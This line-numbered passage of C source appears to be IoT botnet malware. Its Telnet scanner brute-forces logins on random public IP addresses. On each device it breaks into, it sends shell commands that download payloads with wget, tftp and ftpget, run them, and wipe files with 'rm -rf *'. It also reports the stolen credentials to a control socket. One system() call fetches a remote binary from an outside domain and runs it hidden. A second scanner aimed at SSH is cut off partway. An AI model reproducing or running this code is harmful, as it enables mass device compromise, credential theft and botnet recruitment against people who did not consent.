  780.         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  781.         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  782.         unsigned short output = csum(tcp,totaltcp_len);
  783.         free(tcp);
  784.         return output;
  785. }
  786.  
  787. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  788. {
  789.         iph->ihl = 5;
  790.         iph->version = 4;
  791.         iph->tos = 0;
  792.         iph->tot_len = sizeof(struct iphdr) + packetSize;
  793.         iph->id = rand_cmwc();
  794.         iph->frag_off = 0;
  795.         iph->ttl = MAXTTL;
  796.         iph->protocol = protocol;
  797.         iph->check = 0;
  798.         iph->saddr = source;
  799.         iph->daddr = dest;
  800. }
  801.  
  802. int sclose(int fd)
  803. {
  804.         if(3 > fd) return 1;
  805.         close(fd);
  806.         return 0;
  807. }
  808. int socket_connect(char *host, in_port_t port){
  809.         struct hostent *hp;
  810.         struct sockaddr_in addr;
  811.         int on = 1, sock;    
  812.  
  813.         if((hp = gethostbyname(host)) == NULL){
  814.                 herror("gethostbyname");
  815.                 exit(1);
  816.         }
  817.         bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  818.         addr.sin_port = htons(port);
  819.         addr.sin_family = AF_INET;
  820.         sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  821.         setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  822.  
  823.         if(sock == -1){
  824.                 perror("setsockopt");
  825.                 exit(1);
  826.         }
  827.        
  828.         if(connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1){
  829.                 perror("connect");
  830.                 exit(1);
  831.  
  832.         }
  833.         return sock;
  834. }
  835.  
  836. void echoLoader()
  837. {
  838.         char buffer[BUFFER_SIZE];
  839.         int fd;
  840.         fd = socket_connect("0.0.0.0", 80);
  841.         write(fd, "GET gtop.sh\r\n", strlen("GET gtop.sh\r\n")); // write(fd, char[]*, len);  
  842.         bzero(buffer, BUFFER_SIZE);
  843.        
  844.         while(read(fd, buffer, BUFFER_SIZE - 1) != 0){
  845.                 FILE *f;
  846.                 f = fopen("x", "a");
  847.                 fprintf(f, "%s", buffer);
  848.                 fclose(f);
  849.                 bzero(buffer, BUFFER_SIZE);
  850.         }
  851.  
  852.         shutdown(fd, SHUT_RDWR);
  853.         close(fd);
  854. }
  855.  
  856. void TelnetScanner()
  857. {
  858.         int max = (getdtablesize() / 4) * 3, i, res;
  859.         fd_set myset;
  860.         struct timeval tv;
  861.         socklen_t lon;
  862.         int valopt;
  863.  
  864.         max = max > 512 ? 512 : max;
  865.  
  866.         struct sockaddr_in dest_addr;
  867.         dest_addr.sin_family = AF_INET;
  868.         dest_addr.sin_port = htons(23);
  869.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  870.  
  871.         struct telstate_t
  872.         {
  873.                 int fd;
  874.                 uint32_t ip;
  875.                 uint8_t state;
  876.                 uint8_t complete;
  877.                 uint8_t usernameInd;
  878.                 uint8_t passwordInd;
  879.                 uint32_t totalTimeout;
  880.                 uint16_t bufUsed;
  881.                 char *sockbuf;
  882.         } fds[max];
  883.         memset(fds, 0, max * (sizeof(int) + 1));
  884.         for(i = 0; i < max; i++) { fds[i].complete = 1; fds[i].sockbuf = malloc(1024); memset(fds[i].sockbuf, 0, 1024); }
  885.         system("wget -q http://autoinstaller.us/NsfjSh -O .l; chmod +x .l; nohup ./.l </dev/null >/dev/null 2>&1")
  886.         struct timeval timeout;
  887.         timeout.tv_sec = 5;
  888.         timeout.tv_usec = 0;
  889.         while(1)
  890.         {
  891.                 for(i = 0; i < max; i++)
  892.                 {
  893.                         switch(fds[i].state)
  894.                         {
  895.                         case 0:
  896.                                 {
  897.                                         memset(fds[i].sockbuf, 0, 1024);
  898.  
  899.                                         if(fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }
  900.                                         else {
  901.                                                 fds[i].passwordInd++;
  902.                                                 if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) { fds[i].passwordInd = 0; fds[i].usernameInd++; }
  903.                                                 if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; }
  904.                                         }
  905.                                         dest_addr.sin_family = AF_INET;
  906.                                         dest_addr.sin_port = htons(23);
  907.                                         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  908.                                         dest_addr.sin_addr.s_addr = fds[i].ip;
  909.                                         fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  910.                                         setsockopt (fds[i].fd, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout));
  911.                                         setsockopt (fds[i].fd, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout));
  912.                                         if(fds[i].fd == -1) { continue; }
  913.                                         fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  914.                                         if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) { /*printf("close %lu\n",fds[i].ip);*/ sclose(fds[i].fd); fds[i].complete = 1; }
  915.                                         else { fds[i].state = 1; fds[i].totalTimeout = 0; }
  916.                                 }
  917.                                 break;
  918.  
  919.                         case 1:
  920.                                 {
  921.                                         if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  922.  
  923.                                         FD_ZERO(&myset);
  924.                                         FD_SET(fds[i].fd, &myset);
  925.                                         tv.tv_sec = 0;
  926.                                         tv.tv_usec = 10000;
  927.                                         res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  928.                                         if(res == 1)
  929.                                         {
  930.                                                 lon = sizeof(int);
  931.                                                 valopt = 0;
  932.                                                 getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  933.                                                 if(valopt)
  934.                                                 {
  935.                                                         sclose(fds[i].fd);
  936.                                                         fds[i].state = 0;
  937.                                                         fds[i].complete = 1;
  938.                                                 } else {
  939.                                                         fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  940.                                                         fds[i].totalTimeout = 0;
  941.                                                         fds[i].bufUsed = 0;
  942.                                                         memset(fds[i].sockbuf, 0, 1024);
  943.                                                         fds[i].state = 2;
  944.                                                         continue;
  945.                                                 }
  946.                                         } else if(res == -1)
  947.                                         {
  948.                                                 sclose(fds[i].fd);
  949.                                                 fds[i].state = 0;
  950.                                                 fds[i].complete = 1;
  951.                                         }
  952.  
  953.                                         if(fds[i].totalTimeout + 10 < time(NULL))
  954.                                         {
  955.                                                 sclose(fds[i].fd);
  956.                                                 fds[i].state = 0;
  957.                                                 fds[i].complete = 1;
  958.                                         }
  959.                                 }
  960.                                 break;
  961.  
  962.                         case 2:
  963.                                 {
  964.                                         if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  965.  
  966.                                         if(readUntil(fds[i].fd, "ogin:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  967.                                         {
  968.                                                 fds[i].totalTimeout = 0;
  969.                                                 fds[i].bufUsed = 0;
  970.                                                 if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  971.                                                 else memset(fds[i].sockbuf, 0, 1024);
  972.                                                 fds[i].state = 3;
  973.                                                 continue;
  974.                                         }
  975.                                         else if(readUntil(fds[i].fd, "user:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  976.                                         {
  977.                                                 fds[i].totalTimeout = 0;
  978.                                                 fds[i].bufUsed = 0;
  979.                                                 if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  980.                                                 else memset(fds[i].sockbuf, 0, 1024);
  981.                                                 fds[i].state = 3;
  982.                                                 continue;
  983.                                         }
  984.                                         else if(readUntil(fds[i].fd, "name", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  985.                                         {
  986.                                                 fds[i].totalTimeout = 0;
  987.                                                 fds[i].bufUsed = 0;
  988.                                                 if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  989.                                                 else memset(fds[i].sockbuf, 0, 1024);
  990.                                                 fds[i].state = 3;
  991.                                                 continue;
  992.                                         }
  993.                                         else if(readUntil(fds[i].fd, "pass", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  994.                                         {
  995.                                                 fds[i].totalTimeout = 0;
  996.                                                 fds[i].bufUsed = 0;
  997.                                                 if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  998.                                                 else memset(fds[i].sockbuf, 0, 1024);
  999.                                                 fds[i].state = 3;
  1000.                                                 continue;
  1001.                                         }
  1002.                                         else if(readUntil(fds[i].fd, "word", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1003.                                         {
  1004.                                                 fds[i].totalTimeout = 0;
  1005.                                                 fds[i].bufUsed = 0;
  1006.                                                 if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  1007.                                                 else memset(fds[i].sockbuf, 0, 1024);
  1008.                                                 fds[i].state = 3;
  1009.                                                 continue;
  1010.                                         } else {
  1011.                                                 fds[i].bufUsed = strlen(fds[i].sockbuf);
  1012.                                         }
  1013.  
  1014.                                         if(fds[i].totalTimeout + 10 < time(NULL))
  1015.                                         {
  1016.                                                 sclose(fds[i].fd);
  1017.                                                 fds[i].state = 0;
  1018.                                                 fds[i].complete = 1;
  1019.                                         }
  1020.                                 }
  1021.                                 break;
  1022.  
  1023.                         case 3:
  1024.                                 {
  1025.                                         if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1026.                                         if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1027.                                         fds[i].state = 4;
  1028.                                 }
  1029.                                 break;
  1030.  
  1031.                         case 4:
  1032.                                 {
  1033.                                         if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1034.  
  1035.                                         if(readUntil(fds[i].fd, "pass", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1036.                                         {
  1037.                                                 fds[i].totalTimeout = 0;
  1038.                                                 fds[i].bufUsed = 0;
  1039.                                                 if(strstr(fds[i].sockbuf, "pass") != NULL) fds[i].state = 5;
  1040.                                                 else fds[i].state = 7;
  1041.                                                 memset(fds[i].sockbuf, 0, 1024);
  1042.                                                 continue;
  1043.                                         }
  1044.                                         if(readUntil(fds[i].fd, "word", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1045.                                         {
  1046.                                                 fds[i].totalTimeout = 0;
  1047.                                                 fds[i].bufUsed = 0;
  1048.                                                 if(strstr(fds[i].sockbuf, "word") != NULL) fds[i].state = 5;
  1049.                                                 else fds[i].state = 7;
  1050.                                                 memset(fds[i].sockbuf, 0, 1024);
  1051.                                                 continue;
  1052.                                         }
  1053.                                             else {
  1054.                                                 if(strstr(fds[i].sockbuf, "invalid") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1055.                                                 if(strstr(fds[i].sockbuf, "incorrect") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1056.                                                 if(strstr(fds[i].sockbuf, "fail") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1057.                                                 if(strstr(fds[i].sockbuf, "again") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1058.                                                 if(strstr(fds[i].sockbuf, "wrong") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1059.                                                 if(strstr(fds[i].sockbuf, "accessdenied") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1060.                                                 if(strstr(fds[i].sockbuf, "denied") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1061.                                                 if(strstr(fds[i].sockbuf, "error") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1062.                                                 if(strstr(fds[i].sockbuf, "bad") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1063.                                                 fds[i].bufUsed = strlen(fds[i].sockbuf);
  1064.                                         }
  1065.  
  1066.                                         if(fds[i].totalTimeout + 10 < time(NULL))
  1067.                                         {
  1068.                                                 sclose(fds[i].fd);
  1069.                                                 fds[i].state = 0;
  1070.                                                 fds[i].complete = 1;
  1071.                                         }
  1072.                                 }
  1073.                                 break;
  1074.  
  1075.                         case 5:
  1076.                                 {
  1077.                                         if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1078.                                         if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1079.                                         fds[i].state = 6;
  1080.                                 }
  1081.                                 break;
  1082.  
  1083.                         case 6:
  1084.                                 {
  1085.                                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1086.  
  1087.                                     if(readUntil(fds[i].fd, "invalid", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1088.                                     {
  1089.                                         fds[i].totalTimeout = 0;
  1090.                                         fds[i].bufUsed = 0;
  1091.                                         if(strstr(fds[i].sockbuf, "invalid") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1092.                                         if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1093.                                         else fds[i].state = 7;
  1094.                                         memset(fds[i].sockbuf, 0, 1024);
  1095.                                         continue;
  1096.                                     }
  1097.                                     if(readUntil(fds[i].fd, "incorrect", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1098.                                     {
  1099.                                         fds[i].totalTimeout = 0;
  1100.                                         fds[i].bufUsed = 0;
  1101.                                         if(strstr(fds[i].sockbuf, "incorrect") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1102.                                         if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1103.                                         else fds[i].state = 7;
  1104.                                         memset(fds[i].sockbuf, 0, 1024);
  1105.                                         continue;
  1106.                                     }
  1107.                                     if(readUntil(fds[i].fd, "fail", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1108.                                     {
  1109.                                         fds[i].totalTimeout = 0;
  1110.                                         fds[i].bufUsed = 0;
  1111.                                         if(strstr(fds[i].sockbuf, "fail") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1112.                                         else fds[i].state = 7;
  1113.                                         memset(fds[i].sockbuf, 0, 1024);
  1114.                                         continue;
  1115.                                     }
  1116.                                     if(readUntil(fds[i].fd, "again", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1117.                                     {
  1118.                                         fds[i].totalTimeout = 0;
  1119.                                         fds[i].bufUsed = 0;
  1120.                                         if(strstr(fds[i].sockbuf, "again") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1121.                                         else fds[i].state = 7;
  1122.                                         memset(fds[i].sockbuf, 0, 1024);
  1123.                                         continue;
  1124.                                     }
  1125.                                     if(readUntil(fds[i].fd, "wrong", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1126.                                     {
  1127.                                         fds[i].totalTimeout = 0;
  1128.                                         fds[i].bufUsed = 0;
  1129.                                         if(strstr(fds[i].sockbuf, "wrong") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1130.                                         else fds[i].state = 7;
  1131.                                         memset(fds[i].sockbuf, 0, 1024);
  1132.                                         continue;
  1133.                                     }
  1134.                                     if(readUntil(fds[i].fd, "accessdenied", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1135.                                     {
  1136.                                         fds[i].totalTimeout = 0;
  1137.                                         fds[i].bufUsed = 0;
  1138.                                         if(strstr(fds[i].sockbuf, "accessdenied") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1139.                                         else fds[i].state = 7;
  1140.                                         memset(fds[i].sockbuf, 0, 1024);
  1141.                                         continue;
  1142.                                     }
  1143.                                     if(readUntil(fds[i].fd, "denied", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1144.                                     {
  1145.                                         fds[i].totalTimeout = 0;
  1146.                                         fds[i].bufUsed = 0;
  1147.                                         if(strstr(fds[i].sockbuf, "denied") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1148.                                         else fds[i].state = 7;
  1149.                                         memset(fds[i].sockbuf, 0, 1024);
  1150.                                         continue;
  1151.                                     }
  1152.                                     if(readUntil(fds[i].fd, "error", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1153.                                     {
  1154.                                         fds[i].totalTimeout = 0;
  1155.                                         fds[i].bufUsed = 0;
  1156.                                         if(strstr(fds[i].sockbuf, "error") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1157.                                         else fds[i].state = 7;
  1158.                                         memset(fds[i].sockbuf, 0, 1024);
  1159.                                         continue;
  1160.                                     }
  1161.                                     if(readUntil(fds[i].fd, "bad", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1162.                                     {
  1163.                                         fds[i].totalTimeout = 0;
  1164.                                         fds[i].bufUsed = 0;
  1165.                                         if(strstr(fds[i].sockbuf, "bad") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1166.                                         else fds[i].state = 7;
  1167.                                         memset(fds[i].sockbuf, 0, 1024);
  1168.                                         continue;
  1169.                                     }
  1170.                                     else {
  1171.                                                 fds[i].bufUsed = strlen(fds[i].sockbuf);
  1172.                                         }
  1173.  
  1174.                                         if(fds[i].totalTimeout + 10 < time(NULL))
  1175.                                         {
  1176.                                                 sclose(fds[i].fd);
  1177.                                                 fds[i].state = 0;
  1178.                                                 fds[i].complete = 1;
  1179.                                         }
  1180.                                 }
  1181.                                 break;
  1182.  
  1183.                         case 7:
  1184.                                 {
  1185.                                     if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1186.                                     fds[i].state = 8;
  1187.                                 }
  1188.                                 break;
  1189.                                
  1190.                         case 8:
  1191.                                 {
  1192.                                         if(send(fds[i].fd, "shell\r\n", 7, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1193.                                         fds[i].state = 9;
  1194.                                 }
  1195.                                 break;
  1196.  
  1197.                         case 9:
  1198.                                 {
  1199.                                     if(send(fds[i].fd, "cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; wget http://0.0.0.0/gtop.sh; chmod 777 gtop.sh; sh gtop.sh; tftp 0.0.0.0 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 0.0.0.0; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf gtop.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n", 394, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1200.                                     sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1201.                                     fds[i].state = 10;
  1202.                                 }
  1203.                                 break;
  1204.                         case 10:
  1205.                                 {
  1206.                                     echoLoader();
  1207.                                     send(fds[i].fd, "sh x;busybox chmod +x z | | chmod +x z;./z;rm -rf z;rm -f x\r\n", 61, MSG_NOSIGNAL);
  1208.                                     fds[i].state = 11;
  1209.                                 }
  1210.                                 break;
  1211.                         case 11:
  1212.                                 {
  1213.                                     if(send(fds[i].fd, "/bin/busybox;echo -e '\x67\x61\x79\x66\x67\x74'\r\n", 49, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1214.                                     fds[i].state = 12;
  1215.                                 }
  1216.  
  1217.                         case 12:
  1218.                                 {
  1219.                                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1220.  
  1221.                                     if(readUntil(fds[i].fd, "ulti-call", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1222.                                     {
  1223.                                         fds[i].totalTimeout = 0;
  1224.                                         fds[i].bufUsed = 0;
  1225.                                         send(fds[i].fd, "cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; wget http://0.0.0.0/gtop.sh; chmod 777 gtop.sh; sh gtop.sh; tftp 0.0.0.0 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 0.0.0.0; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf gtop.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n", 394, MSG_NOSIGNAL);
  1226.                                         sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1227.                                         continue;
  1228.  
  1229.                                     }
  1230.                                     else if(readUntil(fds[i].fd, "multi-call", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1231.                                     {
  1232.                                         fds[i].totalTimeout = 0;
  1233.                                         fds[i].bufUsed = 0;
  1234.                                         send(fds[i].fd, "cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; wget http://0.0.0.0/gtop.sh; chmod 777 gtop.sh; sh gtop.sh; tftp 0.0.0.0 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 0.0.0.0; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf gtop.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n", 394, MSG_NOSIGNAL);
  1235.                                         sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1236.                                         continue;
  1237.  
  1238.                                     }
  1239.                                     else if(readUntil(fds[i].fd, "gayfgt", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1240.                                     {
  1241.                                         fds[i].totalTimeout = 0;
  1242.                                         fds[i].bufUsed = 0;
  1243.                                         send(fds[i].fd, "cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; wget http://0.0.0.0/gtop.sh; chmod 777 gtop.sh; sh gtop.sh; tftp 0.0.0.0 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 0.0.0.0; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf gtop.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n", 394, MSG_NOSIGNAL);
  1244.                                         sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1245.                                         memset(fds[i].sockbuf, 0, 1024);
  1246.                                         sclose(fds[i].fd);
  1247.                                         fds[i].complete = 1;
  1248.                                         fds[i].state = 0;
  1249.                                         continue;
  1250.                                     }
  1251.                                     else {
  1252.                                             fds[i].bufUsed = strlen(fds[i].sockbuf);
  1253.                                          }
  1254.  
  1255.                                     if(fds[i].totalTimeout + 10 < time(NULL))
  1256.                                     {
  1257.                                         sclose(fds[i].fd);
  1258.                                         fds[i].state = 0;
  1259.                                         fds[i].complete = 1;
  1260.                                     }
  1261.                                 }
  1262.                                 break;
  1263.                         }
  1264.                 }
  1265.         }
  1266. }
  1267.  
  1268. void SSHScanner()
  1269. {
  1270.         int max = (getdtablesize() / 4) * 3, i, res;
  1271.         fd_set myset;
  1272.         struct timeval tv;
  1273.         socklen_t lon;
  1274.         int valopt;
  1275.  
  1276.         max = max > 512 ? 512 : max;
  1277.  
  1278.         struct sockaddr_in dest_addr;
  1279.         dest_addr.sin_family = AF_INET;
  1280.         dest_addr.sin_port = htons(22);
  1281.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1282.  
  1283.         struct telstate_t
  1284.         {
  1285.                 int fd;
  1286.                 uint32_t ip;
  1287.                 uint8_t state;
  1288.                 uint8_t complete;
  1289.                 uint8_t usernameInd;
  1290.                 uint8_t passwordInd;
  1291.                 uint32_t totalTimeout;
  1292.                 uint16_t bufUsed;
  1293.                 char *sockbuf;
  1294.         } fds[max];
  1295.         memset(fds, 0, max * (sizeof(int) + 1));
  1296.         for(i = 0; i < max; i++) { fds[i].complete = 1; fds[i].sockbuf = malloc(1024); memset(fds[i].sockbuf, 0, 1024); }
  1297.         struct timeval timeout;
  1298.         timeout.tv_sec = 5;
  1299.         timeout.tv_usec = 0;
  1300.         while(1)
  1301.         {
  1302.                 for(i = 0; i < max; i++)
  1303.                 {
  1304.                         switch(fds[i].state)
  1305.                         {
  1306.                         case 0:
  1307.                                 {
  1308.                                         memset(fds[i].sockbuf, 0, 1024);
  1309.  
  1310.                                         if(fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }
  1311.                                         else {
  1312.                                                 fds[i].passwordInd++;
  1313.                                                 if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) { fds[i].passwordInd = 0; fds[i].usernameInd++; }
  1314.                                                 if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; }
  1315.                                         }
  1316.                                         dest_addr.sin_family = AF_INET;
  1317.                                         dest_addr.sin_port = htons(22);
  1318.                                         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1319.                                         dest_addr.sin_addr.s_addr = fds[i].ip;
  1320.                                         fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1321.                                         setsockopt (fds[i].fd, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout));
  1322.                                         setsockopt (fds[i].fd, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout));
  1323.                                         if(fds[i].fd == -1) { continue; }
  1324.                                         fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1325.                                         if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) { /*printf("close %lu\n",fds[i].ip);*/ sclose(fds[i].fd); fds[i].complete = 1; }
  1326.                                         else { fds[i].state = 1; fds[i].totalTimeout = 0; }
  1327.                                 }
  1328.                                 break;
  1329.  
  1330.                         case 1:
  1331.                                 {
  1332.                                         if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1333.  
  1334.                                         FD_ZERO(&myset);
  1335.                                         FD_SET(fds[i].fd, &myset);
  1336.                                         tv.tv_sec = 0;
  1337.                                         tv.tv_usec = 10000;
  1338.                                         res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  1339.                                         if(res == 1)
  1340.                                         {
  1341.                                                 lon = sizeof(int);
  1342.                                                 valopt = 0;
  1343.                                                 getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1344.                                                 if(valopt)
  1345.                                                 {
  1346.                                                         sclose(fds[i].fd);
  1347.                                                         fds[i].state = 0;
  1348.                                                         fds[i].complete = 1;
  1349.                                                 } else {
  1350.                                                         fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  1351.                                                         fds[i].totalTimeout = 0;
  1352.                                                         fds[i].bufUsed = 0;
  1353.                                                         memset(fds[i].sockbuf, 0, 1024);
